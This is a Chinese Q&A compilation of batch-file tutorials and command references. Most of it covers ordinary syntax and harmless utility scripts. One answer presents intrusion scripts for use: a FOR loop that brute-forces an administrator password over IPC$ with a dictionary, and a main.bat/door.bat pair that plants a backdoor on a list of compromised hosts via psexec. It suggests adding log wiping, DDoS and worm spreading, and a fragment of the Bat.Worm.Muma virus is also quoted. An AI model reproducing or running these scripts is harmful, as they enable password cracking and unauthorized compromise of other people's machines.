bat例子文件有哪些|bat文件命令大全

⑴ 批处理文件能不能给我些例子呢

中国批处理论坛看看吧。

⑵ BAT格式的文件有什么灵活运用

bat格式就是常说的批处理从某种意义上说,批处理就是一种编程,其实批处理是一种宏,但是用途非常广泛,可以实现一些用软件才可以实现的简单功能。 批处理(Batch)是一种简化的脚本语言,它应用于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是COMMAND.COM或者CMD.EXE)解释运行。类似于Unix中的Shell脚本。批处理文件具有.bat或者.cmd的扩展名,其最简单的例子,是逐行书写在命令行中会用到的各种命令。更复杂的情况,需要使用if,for,goto等命令控制程序的运行过程,如同C,Basic等高级语言一样。如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行,但不仅仅能使用命令行软件,任何32位的Windows程序都可以放在批处理文件中运行。bat—-批处理—-网络http://ke..com/view/18756.htmlhttp://ke..com/view/80110.htm批处理学习:批处理之家——————http://www.bathome.cn/bat命令大全——————http://q.sohu.com/forum/5/topic/752656

⑶ 收 BAT 文件 常用 代码 大全 如果好 我可以加分

希望对你有帮助.1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 [email protected] 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite… @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*——–*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c – 指一个行注释字符的结尾(就一个) skip=n – 指在文件开始时忽略的行数。 delims=xxx – 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq – 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 z 或 Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件中的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I – 删除任何引号("),扩充 %I %~fI – 将 %I 扩充到一个完全合格的路径名 %~dI – 仅将 %I 扩充到一个驱动器号 %~pI – 仅将 %I 扩充到一个路径 %~nI – 仅将 %I 扩充到一个文件名 %~xI – 仅将 %I 扩充到一个文件扩展名 %~sI – 扩充的路径只含有短名 %~aI – 将 %I 扩充到文件的文件属性 %~tI – 将 %I 扩充到文件的日期/时间 %~zI – 将 %I 扩充到文件的大小 %~$PATH:I – 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串 可以组合修饰符来得到多重结果: %~dpI – 仅将 %I 扩充到一个驱动器号和路径 %~nxI – 仅将 %I 扩充到一个文件名和扩展名 %~fsI – 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI – 将 %I 扩充到类似输出线路的 DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: ————— cut here then save as a batchfile(I call it main.bat ) ——————– @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end ————— cut here then save as a batchfile(I call it main.bat ) ——————– ——————- cut here then save as a batchfile(I call it door.bat) —————– @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @p***ec \\%1 c:\winnt\system32\windrv32.exe @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. —————– cut here then save as a batchfile(I call it door.bat) ——————- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.回答者:〆ɑ改良oち – 助理 三级 12-1 02:41您觉得最佳答案好不好? 目前有 0 个人评价 50% (0) 50% (0) 其他回答 共 5 条下面是DOS下的常用命令,详细见http://www.hongen.com/pc/newer/os/dos/dos0301.htm 。 cd 改变当前目录 sys 制作DOS系统盘 拷贝文件 del 删除文件 deltree 删除目录树 dir 列文件名 disk 制磁盘 edit 文本编辑 format 格式化磁盘 md 建立子目录 mem 查看内存状况 type 显示文件内容 rd 删除目录 ren 改变文件名回答者:nuoxin1983 – 助理 二级 12-1 02:44DOS命令大全 http://www.polsnet.com/Article/otherart/other/200508/1485.html回答者:tcj0 – 试用期 一级 12-1 02:45sfc.exe系统文件检查器 sfc /scannow-windows文件保护 tsshutdn-60秒倒计时关机命令 tourstartxp简介(安装完成后出现的漫游xp程序) taskmgr任务管理器 eventvwr-事件查看器 eudcedit-造字程序 explorer-打开资源管理器 packager-对象包装程序 perfmon.msc计算机性能监测程序 progman程序管理器 regedit.exe注册表 rsop.msc-组策略结果集 regedt32-注册表编辑器 rononce -p 15秒关机 regsvr32 /u *.dll停止dll文件运行 regsvr32 /u zipfldr.dll取消ZIP支持 cmd.exeCMD命令提示符 chkdsk.exe-Chkdsk磁盘检查 certmgr.msc证书管理实用程序 calc-启动计算器 charmap启动字符映射表 cliconfg-SQL SERVER 客户端网络实用程序 Clipbrd剪贴板查看器 conf-启动netmeeting compmgmt.msc-计算机管理 cleanmgr-垃圾整理 ciadv.msc索引服务程序 osk打开屏幕键盘 odbcad32-ODBC数据源管理器 oobe/msoobe /a检查XP是否激活 lusrmgr.msc本机用户和组 logoff-注销命令 iexpress-木马捆绑工具,系统自带 Nslookup-IP地址侦测器 fsmgmt.msc-共享文件夹管理器 utilman辅助工具管理器 gpedit.msc-组策略

⑷ bat文件命令大全

我有本bat命令大全电子书,但是上面无法复制,含有几百个命令的解释用法还有例子,很好的,如果想要的话,留下邮箱,我给你发过去bat批处理教程OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):ping sz.tencent.com > a.txtping sz1.tencent.com >> a.txtping sz2.tencent.com >> a.txtping sz3.tencent.com >> a.txtping sz4.tencent.com >> a.txtping sz5.tencent.com >> a.txtping sz6.tencent.com >> a.txtping sz7.tencent.com >> a.txtexit是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的qq服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。例二、再给出一个已经过时的例子(a.bat):@echo offif exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gifa.bat为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。例三,使用批处理脚本查是否中冰河。脚本内容如下:@echo offnetstat -a -n > a.txttype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"del a.txt pause & exit这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。例四,借批处理自动清除系统垃圾,脚本如下:@echo offif exist c:\windows\temp\*.* del c:\windows\temp\*.* if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* if exist c:\windows\History\*.* del c:\windows\History\*.* if exist c:\windows\recent\*.* del c:\windows\recent\*.* 将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果—-不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:@echo off ::close echocls::clean screen echo This programme is to make the MASM programme automate ::display infoecho Edit by CODERED ::display infoecho Mailto me : qqkiller***@sina.com ::display infoif "%1"=="" goto usage ::if input without paramater goto usageif "%1"=="/?" goto usage ::if paramater is "/?" goto usageif "%1"=="help" goto usage ::if paramater is "help" goto usage pause ::pause to see usagemasm %1.asm ::assemble the .asm codeif errorlevel 1 pause & edit %1.asm ::if error pause to see error msg and edit the codelink %1.obj & %1 ::else link the .obj file and execute the .exe file:usage ::set usageecho Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。 1、@这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。2、echo 中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。echo命令的另一种用法二:可以直接编辑文本文件。例六:echo nbtstat -A 192.168.0.1 > a.batecho nbtstat -A 192.168.0.2 >> a.batecho nbtstat -A 192.168.0.3 >> a.bat以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。3、::这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*…………*/类似。地球人都能看懂,就不多说了。4、pause中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。5、:和goto为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:……goto end……:end 这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。6、%这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:net use \\%1\ipc$ %3 /u:"%2" 11.BAT \\%1\admin$\system32 /y 13.BAT \\%1\admin$\system32 /y ipc2.BAT \\%1\admin$\system32 /y NWZI.EXE \\%1\admin$\system32 /yattrib \\%1\admin$\system32\10.bat -r -h -s以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。 批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西—-但那也就不必看了,浪费时间! 7、if 接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。 (1)、输入判断。还是用例五里面的那几句吧: if "%1"=="" goto usage if "%1"=="/?" goto usage if "%1"=="help" goto usage 这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。 (2)、存在判断。再看例二里这句: if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif 如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif 